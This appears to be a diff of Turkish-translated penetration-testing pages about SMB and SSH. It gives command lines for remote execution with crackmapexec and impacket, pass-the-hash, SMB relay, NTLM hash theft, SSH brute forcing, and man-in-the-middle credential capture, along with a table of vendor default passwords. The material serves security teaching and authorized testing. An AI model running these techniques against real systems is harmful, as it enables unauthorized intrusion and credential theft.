@ -328,35 +328,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
```
|
||||
## Post Exploitation
|
||||
|
||||
Bir **varsayılan konfigürasyonu** olan bir **Samba** sunucusu genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli konfigürasyonlar** içerebilir:
|
||||
Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalara** sahip olabilir:
|
||||
|
||||
| **Ayar** | **Açıklama** |
|
||||
| **Ayar** | **Açıklama** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Mevcut paylaşımdaki paylaşımların listelenmesine izin verir mi? |
|
||||
| `read only = no` | Dosya oluşturulmasını ve değiştirilmesini yasaklar mı? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin verir mi? |
|
||||
| `guest ok = yes` | Parola kullanmadan servise bağlanılmasına izin verir mi? |
|
||||
| `enable privileges = yes` | Belirli bir SID'ye atanan ayrıcalıkları uygular mı? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
|
||||
| `logon script = script.sh` | Kullanıcı girişinde hangi scriptin çalıştırılması gerekir? |
|
||||
| `magic script = script.sh` | Script kapatıldığında hangi script çalıştırılmalıdır? |
|
||||
| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalıdır? |
|
||||
| `browseable = yes` | Mevcut paylaşımların listelenmesine izin verir mi? |
|
||||
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini engeller mi? |
|
||||
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin verir mi? |
|
||||
| `guest ok = yes` | Parola kullanmadan servise bağlanmaya izin verir mi? |
|
||||
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları uygular mı? |
|
||||
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinler atanmalıdır? |
|
||||
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinler atanmalıdır? |
|
||||
| `logon script = script.sh` | Kullanıcı girişinde hangi script çalıştırılmalıdır? |
|
||||
| `magic script = script.sh` | Script kapatıldığında hangi script çalıştırılmalıdır? |
|
||||
| `magic output = script.out` | Magic script'in çıktısı nerede saklanmalıdır? |
|
||||
|
||||
The command `smbstatus` gives information about the **sunucu** and about **kimin bağlı olduğu**.
|
||||
The command `smbstatus` gives information about the **sunucu** and about **who is connected**.
|
||||
|
||||
## Kerberos kullanarak kimlik doğrulama
|
||||
## Kerberos ile kimlik doğrulama
|
||||
|
||||
Araçlar **smbclient** ve **rpcclient** kullanarak **kerberos**'a **kimlik doğrulaması** yapabilirsiniz:
|
||||
Kerberos'a **kimlik doğrulaması** yapmak için **smbclient** ve **rpcclient** araçlarını kullanabilirsiniz:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Komutları Çalıştır**
|
||||
Kerberos-only ortamlarda (NTLM devre dışı), SMB'ye karşı yapılan NTLM denemeleri `STATUS_NOT_SUPPORTED` döndürebilir. Yaygın Kerberos sorunlarını düzeltin ve Kerberos auth'ı zorlayın:
|
||||
```bash
|
||||
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# use Kerberos with tooling (reads your TGT from ccache)
|
||||
netexec smb <dc.fqdn> -k
|
||||
```
|
||||
Tam bir istemci kurulumu (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kerberos-88/README.md
|
||||
{{#endref}}
|
||||
|
||||
## **Komutları Çalıştırma**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec, **mmcexec, smbexec, atexec, wmiexec**'in herhangi birini kullanarak komut çalıştırabilir; varsayılan yöntem **wmiexec**'tir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
crackmapexec, herhangi bir **mmcexec, smbexec, atexec, wmiexec**'i **kötüye kullanarak** komut çalıştırabilir; **wmiexec** varsayılan **yöntemdir**. Hangi seçeneği kullanmayı tercih ettiğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -380,8 +394,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Her iki seçenek de hedef makinede _\pipe\svcctl_ üzerinden SMB kullanarak **yeni bir servis oluşturacak** ve bunu **bir şey çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına bir executable file **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'e işaret edip argümanlara payload'u koyacaktır --**file-less technique-**-).\
|
||||
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
Her iki seçenek de hedef makinede (SMB üzerinden _\pipe\svcctl_ kullanarak) **yeni bir servis oluşturacak** ve bunu **bir şey çalıştırmak** için kullanacaktır (**psexec** ADMIN$ paylaşımına bir çalıştırılabilir dosyayı **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'e işaret edecek ve argümanlara payload'u koyacaktır --**file-less technique-**-).\
|
||||
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -390,11 +404,11 @@ Her iki seçenek de hedef makinede _\pipe\svcctl_ üzerinden SMB kullanarak **ye
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
**Parametre**`-k` ile **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz.
|
||||
**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulayabilirsiniz.
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||
|
||||
Diske dokunmadan veya yeni bir servis çalıştırmadan, DCOM aracılığıyla **port 135.**\
|
||||
DCOM'u kullanarak **port 135.** üzerinden diske dokunmadan veya yeni bir servis çalıştırmadan gizlice bir komut kabuğu çalıştırın.\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -402,7 +416,7 @@ Diske dokunmadan veya yeni bir servis çalıştırmadan, DCOM aracılığıyla *
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
**parametre**`-k` kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz.
|
||||
**parameter**`-k` parametresini kullanarak **NTLM** yerine **kerberos** ile kimlik doğrulaması yapabilirsiniz.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
@ -411,8 +425,8 @@ Diske dokunmadan veya yeni bir servis çalıştırmadan, DCOM aracılığıyla *
|
||||
```
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanılarak).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ konumunda bulunur.
|
||||
Task Scheduler aracılığıyla komut çalıştırır (_\pipe\atsvc_ üzerinden SMB kullanılarak).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunur.
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
@ -436,12 +450,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Bu saldırı, iç ağda Responder toolkit'i kullanarak **SMB kimlik doğrulama oturumlarını yakalar** ve bunları bir **hedef makineye** **aktarır**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak sizi bir **system** **shell**'e düşürür.\
|
||||
[**Bu saldırı hakkında daha fazla bilgi.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Bu saldırı Responder toolkit'i kullanarak iç ağda **capture SMB authentication sessions** yakalar ve bunları bir **target machine**'e **relays** eder. Eğer authentication **session is successful** olursa, otomatik olarak sizi bir **system** **shell**'e düşürür.\
|
||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında hedefe otomatik olarak kimlik doğrulama denemesi yapar, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak host'a authenticate etmeye çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
This happens with the functions:
|
||||
|
||||
@ -460,7 +474,7 @@ Which are used by some browsers and tools (like Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
SMB Trapping'e benzer şekilde, hedef sisteme (ör. SMB üzerinden) kötü amaçlı dosyalar yerleştirmek bir SMB kimlik doğrulama denemesine neden olabilir; bu sayede NetNTLMv2 hash'i Responder gibi bir araçla yakalanabilir. Hash daha sonra çevrimdışı kırılabilir veya bir [SMB relay attack](#smb-relay-attack) için kullanılabilir.
|
||||
SMB Trapping'e benzer şekilde, hedef bir sisteme (ör. SMB üzerinden, örneğin) zararlı dosyalar yerleştirmek bir SMB authentication attempt'ine yol açabilir ve NetNTLMv2 hash'inin Responder gibi bir araçla yakalanmasına imkan tanır. Hash daha sonra çevrimdışı kırılabilir veya bir [SMB relay attack](#smb-relay-attack) için kullanılabilir.
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
@ -497,8 +511,8 @@ getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
@ -533,4 +547,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [NetExec (CME) wiki – Kerberos kullanımı](https://www.netexec.wiki/)
|
||||
- [Pentesting Kerberos (88) – istemci kurulumu ve sorun giderme](../pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**SSH (Güvenli Kabuk veya Güvenli Soket Kabuk)**, güvensiz bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlamayı mümkün kılan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için gereklidir.
|
||||
**SSH (Secure Shell or Secure Socket Shell)**, güvenli olmayan bir ağ üzerinden bir bilgisayara güvenli bir bağlantı sağlayan bir ağ protokolüdür. Uzak sistemlere erişirken verilerin gizliliğini ve bütünlüğünü korumak için esastır.
|
||||
|
||||
**Varsayılan port:** 22
|
||||
```
|
||||
@ -12,21 +12,21 @@
|
||||
```
|
||||
**SSH sunucuları:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux dağıtımları ve Windows 10'dan itibaren Windows'ta yerleşik
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'de yerleşik
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması, istemcisi yaygın olarak kullanılır ancak sunucu kullanımı daha nadirdir
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, BSD, Linux dağıtımlarında ve Windows 10'dan beri Windows'ta yer alır
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – Düşük bellek ve işlemci kaynaklarına sahip ortamlar için SSH uygulaması, OpenWrt'te dağıtılır
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows için SSH uygulaması; istemci sıkça kullanılır fakat sunucu kullanımı daha nadirdir
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Windows için OpenSSH uygulaması
|
||||
|
||||
**SSH kütüphaneleri (sunucu tarafını uygulayan):**
|
||||
**SSH kütüphaneleri (sunucu tarafı uygulamaları için):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) ve [R](https://github.com/ropensci/ssh) ile bağlamaları vardır; KDE tarafından sftp için ve GitHub tarafından git SSH altyapısı için kullanılır
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış ve gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiş SSHv2 sunucu kütüphanesi
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java kütüphanesi Apache MINA'ya dayanmaktadır
|
||||
- [libssh](https://www.libssh.org) – SSHv2 protokolünü uygulayan çok platformlu C kütüphanesi; [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) ve [R](https://github.com/ropensci/ssh) için bağlayıcıları vardır; sftp için KDE tarafından ve git SSH altyapısı için GitHub tarafından kullanılır
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C ile yazılmış SSHv2 sunucu kütüphanesi; gömülü, RTOS ve kaynak kısıtlı ortamlar için hedeflenmiştir
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java kütüphanesi Apache MINA'ya dayanır
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protokol kütüphanesi
|
||||
|
||||
## Sayım
|
||||
## Keşif
|
||||
|
||||
### Banner Alma
|
||||
### Banner Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
@ -34,20 +34,20 @@ nc -vn <IP> 22
|
||||
|
||||
ssh-audit, ssh sunucu ve istemci yapılandırma denetimi için bir araçtır.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) güncellenmiş bir çatallamadır [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) güncellenmiş bir forkudur [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
**Özellikler:**
|
||||
|
||||
- SSH1 ve SSH2 protokol sunucu desteği;
|
||||
- SSH istemci yapılandırmasını analiz etme;
|
||||
- afiş alma, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı tespit etme;
|
||||
- anahtar değişimi, anahtar, şifreleme ve mesaj kimlik doğrulama kodu algoritmalarını toplama;
|
||||
- algoritma bilgilerini çıktı olarak verme (mevcut olduğu tarihten itibaren, kaldırılmış/devre dışı bırakılmış, güvensiz/zayıf/eski, vb.);
|
||||
- algoritma önerilerini çıktı olarak verme (tanınan yazılım sürümüne göre ekleme veya kaldırma);
|
||||
- güvenlik bilgilerini çıktı olarak verme (ilgili sorunlar, atanan CVE listesi, vb.);
|
||||
- algoritma bilgisine dayalı olarak SSH sürüm uyumluluğunu analiz etme;
|
||||
- banner çekme, cihaz veya yazılım ve işletim sistemini tanıma, sıkıştırmayı algılama;
|
||||
- anahtar-değişimi, host-key, şifreleme ve MAC (message authentication code) algoritmalarını toplama;
|
||||
- algoritma bilgilerini çıktı verme (available since, removed/disabled, unsafe/weak/legacy, etc);
|
||||
- algoritma önerilerini çıktı verme (append or remove based on recognized software version);
|
||||
- güvenlik bilgilerini çıktı verme (related issues, assigned CVE list, etc);
|
||||
- algoritma bilgilerine dayalı SSH sürüm uyumluluğunu analiz etme;
|
||||
- OpenSSH, Dropbear SSH ve libssh'den tarihsel bilgiler;
|
||||
- Linux ve Windows'ta çalışır;
|
||||
- Linux ve Windows üzerinde çalışır;
|
||||
- bağımlılık yok
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
@ -71,15 +71,15 @@ $ python3 ssh-audit <IP>
|
||||
```
|
||||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Sunucunun Genel SSH Anahtarı
|
||||
### Sunucunun genel SSH anahtarı
|
||||
```bash
|
||||
ssh-keyscan -t rsa <IP> -p <PORT>
|
||||
```
|
||||
### Zayıf Şifreleme Algoritmaları
|
||||
|
||||
Bu, varsayılan olarak **nmap** tarafından keşfedilir. Ancak **sslcan** veya **sslyze** de kullanabilirsiniz.
|
||||
Bu varsayılan olarak **nmap** tarafından tespit edilir. Ancak **sslcan** veya **sslyze** de kullanabilirsiniz.
|
||||
|
||||
### Nmap betikleri
|
||||
### Nmap scriptleri
|
||||
```bash
|
||||
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
|
||||
nmap -p22 <ip> -sV # Retrieve version
|
||||
@ -91,56 +91,76 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
- `ssh`
|
||||
|
||||
## Kaba kuvvetle kullanıcı adları, şifreler ve özel anahtarlar
|
||||
## Brute force usernames, passwords and private keys
|
||||
|
||||
### Kullanıcı Adı Sayımı
|
||||
### Username Enumeration
|
||||
|
||||
Bazı OpenSSH sürümlerinde, kullanıcıları saymak için bir zamanlama saldırısı yapabilirsiniz. Bunu istismar etmek için bir metasploit modülü kullanabilirsiniz:
|
||||
Bazı OpenSSH sürümlerinde kullanıcıları enumerate etmek için bir timing attack gerçekleştirebilirsiniz. Bunu exploit etmek için bir metasploit module kullanabilirsiniz:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||
|
||||
Bazı yaygın ssh kimlik bilgileri [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) ve [burada](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) ve aşağıda.
|
||||
Bazı yaygın ssh kimlik bilgileri [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) ve [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) ve aşağıdadır.
|
||||
|
||||
### Özel Anahtar Brute Force
|
||||
### Private Key Brute Force
|
||||
|
||||
Eğer kullanılabilecek bazı ssh özel anahtarlarını biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
||||
Kullanılabilecek bazı ssh private keys biliyorsanız... deneyelim. nmap script'ini kullanabilirsiniz:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
MSF yardımcı modülü için:
|
||||
Ya da MSF auxiliary module:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Veya `ssh-keybrute.py` kullanın (native python3, hafif ve legacy algoritmalar etkin): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Bilinen badkeys şurada bulunabilir:
|
||||
|
||||
#### Bilinen kötü anahtarlar burada bulunabilir:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
|
||||
#### Zayıf SSH anahtarları / Debian predictable PRNG
|
||||
|
||||
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, bruteforce ile kırılabilecek önemli ölçüde azaltılmış bir anahtar alanına yol açabilir. Zayıf PRNG'den etkilenen Debian sistemlerinde önceden oluşturulmuş anahtar setleri burada mevcuttur: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
Bazı sistemlerde kriptografik materyal üretiminde kullanılan rastgele tohumda bilinen kusurlar vardır. Bu, anahtar uzayının dramatik şekilde küçülmesine ve anahtarların bruteforce ile kırılabilmesine yol açabilir. Weak PRNG'den etkilenen Debian sistemlerinde üretilmiş önceden oluşturulmuş anahtar setleri şurada mevcuttur: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
||||
Kurban makinesi için geçerli anahtarları aramak amacıyla buraya bakmalısınız.
|
||||
Hedef makine için geçerli anahtarları aramak üzere buraya bakmalısınız.
|
||||
|
||||
### Kerberos
|
||||
### Kerberos / GSSAPI SSO
|
||||
|
||||
**crackmapexec** `ssh` protokolünü kullanarak **kerberos ile kimlik doğrulamak için** `--kerberos` seçeneğini kullanabilir.\
|
||||
Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın.
|
||||
Hedef SSH sunucusu GSSAPI'yi destekliyorsa (örneğin bir domain controller üzerinde Windows OpenSSH), parola yerine Kerberos TGT'nizi kullanarak kimlik doğrulaması yapabilirsiniz.
|
||||
|
||||
Linux saldırgan makinesinden iş akışı:
|
||||
```bash
|
||||
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||
sudo ntpdate <dc.fqdn>
|
||||
|
||||
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||
sudo cp krb5.conf /etc/krb5.conf
|
||||
|
||||
# 3) Obtain a TGT for the user
|
||||
kinit <user>
|
||||
klist
|
||||
|
||||
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||
```
|
||||
Notlar:
|
||||
- Yanlış bir ada bağlanırsanız (ör. kısa host, alias veya `/etc/hosts` içindeki yanlış sıra), SPN eşleşmediği için "Server not found in Kerberos database" hatası alabilirsiniz.
|
||||
- `crackmapexec ssh --kerberos` Kerberos kimlik doğrulaması için ccache'inizi de kullanabilir.
|
||||
|
||||
## Varsayılan Kimlik Bilgileri
|
||||
|
||||
| **Satıcı** | **Kullanıcı Adları** | **Parolalar** |
|
||||
| **Vendor** | **Kullanıcı Adları** | **Parolalar** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, cihaz | apc |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, kullanıcı | private, admin, user |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
@ -153,53 +173,53 @@ Daha fazla bilgi için `crackmapexec ssh --help` komutunu çalıştırın.
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
Eğer kurbanın SSH sunucusuna kullanıcı adı ve şifre ile bağlanacağı yerel ağdaysanız, bu kimlik bilgilerini çalmak için **MitM saldırısı gerçekleştirmeyi** deneyebilirsiniz:
|
||||
Eğer yerel ağdaysanız ve kurban SSH server'a kullanıcı adı/parola ile bağlanacaksa, bu kimlik bilgilerini çalmak için **MitM saldırısı gerçekleştirmeyi** deneyebilirsiniz:
|
||||
|
||||
**Saldırı yolu:**
|
||||
|
||||
- **Trafik Yönlendirme:** Saldırgan, kurbanın trafiğini kendi makinesine **yönlendirir**, böylece SSH sunucusuna bağlantı girişimini **yakalar**.
|
||||
- **Yakalama ve Kaydetme:** Saldırganın makinesi, meşru SSH sunucusu gibi davranarak kullanıcının giriş bilgilerini **yakalar**.
|
||||
- **Komut Yürütme ve İletme:** Son olarak, saldırganın sunucusu **kullanıcının kimlik bilgilerini kaydeder**, **komutları** gerçek SSH sunucusuna **ilerletir**, **yürütür** ve **sonuçları geri gönderir**, süreci kesintisiz ve meşru gösterir.
|
||||
- **Trafik Yönlendirme:** Saldırgan, kurbanın trafiğini kendi makinesine **yönlendirir**, böylece SSH sunucusuna yapılan bağlantı denemesini **ele geçirir**.
|
||||
- **Yakalama ve Kayıt:** Saldırganın makinesi bir **proxy** gibi davranır, meşru SSH sunucusuymuş gibi davranarak kullanıcının giriş bilgilerini **kaydeder**.
|
||||
- **Komut Çalıştırma ve İletme:** Son olarak saldırganın sunucusu kullanıcının kimlik bilgilerini **kaydeder**, komutları gerçek SSH sunucusuna **iletir**, bunları **çalıştırır** ve sonuçları kullanıcıya geri **gönderir**, böylece süreç sorunsuz ve meşru görünür.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda tarif edilenleri tam olarak yapar.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) yukarıda anlatılanları tam olarak yapar.
|
||||
|
||||
Gerçek MitM'yi gerçekleştirmek için ARP spoofing, DNS spoofing veya [**Ağ Spoofing saldırıları**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) gibi teknikleri kullanabilirsiniz.
|
||||
Gerçek MitM'i gerçekleştirmek/yakalamak için ARP spoofing, DNS spoofin gibi teknikleri veya [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) bölümünde açıklanan diğer yöntemleri kullanabilirsiniz.
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Ağda keşfedilen SSH özel anahtarlarını kullanarak sistemler arasında geçiş yapmak istiyorsanız, her sistemdeki her özel anahtarı yeni ana bilgisayarlar için kullanarak [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ihtiyacınız olan şeydir.
|
||||
